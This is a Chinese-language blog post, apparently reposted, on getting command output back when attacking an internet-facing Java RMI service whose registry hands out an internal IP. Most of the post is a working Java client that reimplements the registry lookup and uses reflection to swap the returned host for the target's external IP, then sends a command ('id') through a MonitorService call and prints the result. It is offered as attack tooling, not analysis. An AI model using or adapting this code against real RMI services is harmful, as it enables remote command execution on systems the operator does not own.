之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。
分析在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。
这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是 本机 的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。
从nmap的扫描结果也能看出这个问题。
虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。
sun.rmi.registry.RegistryImpl_Stub#lookup
接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。
最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。
public class RMIClient extends RemoteObject { private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; private RemoteRef ref = null; private String ip = null; public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var15) { throw new MarshalException("error marshalling arguments", var15); } this.ref.invoke(var2); Remote var20; try { ObjectInput var4 = var2.getInputStream(); var20 = (Remote)var4.readObject(); Field f = var2.getClass().getDeclaredField("in"); f.setAccessible(true); Object conn = f.get(var2); f = conn.getClass().getDeclaredField("incomingRefTable"); f.setAccessible(true); HashMap rets = (HashMap) f.get(conn); Map.Entryentry = (Map.Entry ) rets.entrySet().iterator().next(); f = entry.getKey().getClass().getDeclaredField("host"); f.setAccessible(true); f.set(entry.getKey(), this.ip); } catch (IOException | ClassNotFoundException | ClassCastException var13) { // var2.discardPendingRefs(); throw new UnmarshalException("error unmarshalling return", var13); } finally { this.ref.done(var2); } return var20; } catch (RuntimeException var16) { throw var16; } catch (RemoteException var17) { throw var17; } catch (NotBoundException var18) { throw var18; } catch (Exception var19) { throw new UnexpectedException("undeclared checked exception", var19); } } public static void main(String[] args) throws Exception { String command = "id"; String ip = "ip"; Registry registry = LocateRegistry.getRegistry(ip, port); // for(String x:registry.list()){ // System.out.println(x); // } Subject subject = new Subject(); Field f = subject.getClass().getDeclaredField("principals"); f.setAccessible(true); Set set = new HashSet(); UnixPrincipal unixPrincipal = new UnixPrincipal(command); set.add(unixPrincipal); f.set(subject, set); f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref"); f.setAccessible(true); RMIClient r = new RMIClient(); r.ref = (RemoteRef) f.get(registry); r.ip = ip; System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject)); } }
使用原生lookup时,建立连接失败导致无法回显命令结果。
使用修改后的lookup方法成功回显。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)